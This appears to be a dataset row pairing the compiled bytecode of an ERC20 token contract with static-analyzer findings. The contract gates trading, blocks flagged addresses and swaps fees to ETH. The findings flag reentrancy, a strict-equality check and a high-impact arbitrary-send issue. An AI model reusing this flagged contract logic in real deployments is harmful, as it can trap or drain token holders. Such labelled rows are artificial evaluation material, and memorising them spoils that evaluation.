90503081600081518110610d2157610d21611a9e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9e9190611afb565b81600181518110610db157610db1611a9e565b6001600160a01b039283166020918202929092010152600b54610dd79130911684610e53565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e10908590600090869030904290600401611b18565b600060405180830381600087803b158015610e2a57600080fd5b505af1158015610e3e573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610eb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b03821661103d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b6000811161109f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff16156110c557600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561110757506001600160a01b03831660009081526004602052604090205460ff16155b801561111d5750600c54600160a81b900460ff16155b801561114d5750600c546001600160a01b038581169116148061114d5750600c546001600160a01b038481169116145b1561130257600c54600160b81b900460ff166111ab5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156111da5750600b546001600160a01b03848116911614155b80156111e7575042600e54115b156112335760006111f7846106bc565b905061121c60646112166c0c9f2c9cd04674edea400000006002611422565b906114a4565b61122684836114e6565b111561123157600080fd5b505b600d544203611260576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061126b306106bc565b600c54909150600160b01b900460ff161580156112965750600c546001600160a01b03868116911614155b1561130057801561130057600c546112ca9060649061121690600f906112c4906001600160a01b03166106bc565b90611422565b8111156112f757600c546112f49060649061121690600a906112c4906001600160a01b03166106bc565b90505b61130081610cd9565b505b61130e84848484611545565b50505050565b600081848411156113385760405162461bcd60e51b81526004016104fc9190611838565b5060006113458486611b89565b95945050505050565b60006006548211156113b55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b60006113bf611648565b90506113cb83826114a4565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114345750600061052f565b60006114408385611ba0565b90508261144d8583611bbf565b146113cb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b60006113cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166b565b6000806114f38385611ae3565b9050838110156113cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b808061155357611553611699565b600080600080611562876116b5565b6001600160a01b038d166000908152600160205260409020549397509195509350915061158f90856116fc565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115be90846114e6565b6001600160a01b0389166000908152600160205260409020556115e08161173e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161162591815260200190565b60405180910390a3505050508061164157611641600954600855565b5050505050565b6000806000611655611788565b909250905061166482826114a4565b9250505090565b6000818361168c5760405162461bcd60e51b81526004016104fc9190611838565b5060006113458486611bbf565b6000600854116116a857600080fd5b6008805460095560009055565b6000806000806000806116ca876008546117d2565b9150915060006116d8611648565b90506000806116e88a85856117ff565b909b909a5094985092965092945050505050565b60006113cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611314565b6000611748611648565b905060006117568383611422565b3060009081526001602052604090205490915061177390826114e6565b30600090815260016020526040902055505050565b60065460009081906c0c9f2c9cd04674edea400000006117a882826114a4565b8210156117c9575050600654926c0c9f2c9cd04674edea4000000092509050565b90939092509050565b600080806117e560646112168787611422565b905060006117f386836116fc565b96919550909350505050565b6000808061180d8685611422565b9050600061181b8686611422565b9050600061182983836116fc565b92989297509195505050505050565b600060208083528351808285015260005b8181101561186557858101830151858201604001528201611849565b81811115611877576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b80356118ad8161188d565b919050565b600080604083850312156118c557600080fd5b82356118d08161188d565b946020939093013593505050565b6000806000606084860312156118f357600080fd5b83356118fe8161188d565b9250602084013561190e8161188d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561194857600080fd5b823567ffffffffffffffff8082111561196057600080fd5b818501915085601f83011261197457600080fd5b8135818111156119865761198661191f565b8060051b604051601f19603f830116810181811085821117156119ab576119ab61191f565b6040529182528482019250838101850191888311156119c957600080fd5b938501935b828510156119ee576119df856118a2565b845293850193928501926119ce565b98975050505050505050565b600060208284031215611a0c57600080fd5b81356113cb8161188d565b60008060408385031215611a2a57600080fd5b8235611a358161188d565b91506020830135611a458161188d565b809150509250929050565b600060208284031215611a6257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611adc57611adc611ab4565b5060010190565b60008219821115611af657611af6611ab4565b500190565b600060208284031215611b0d57600080fd5b81516113cb8161188d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b685784516001600160a01b031683529383019391830191600101611b43565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b9b57611b9b611ab4565b500390565b6000816000190483118215151615611bba57611bba611ab4565b500290565b600082611bdc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220294aed80698e50aa2921b4e337f841a999081bdff81e1316e048d3990f722b2264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.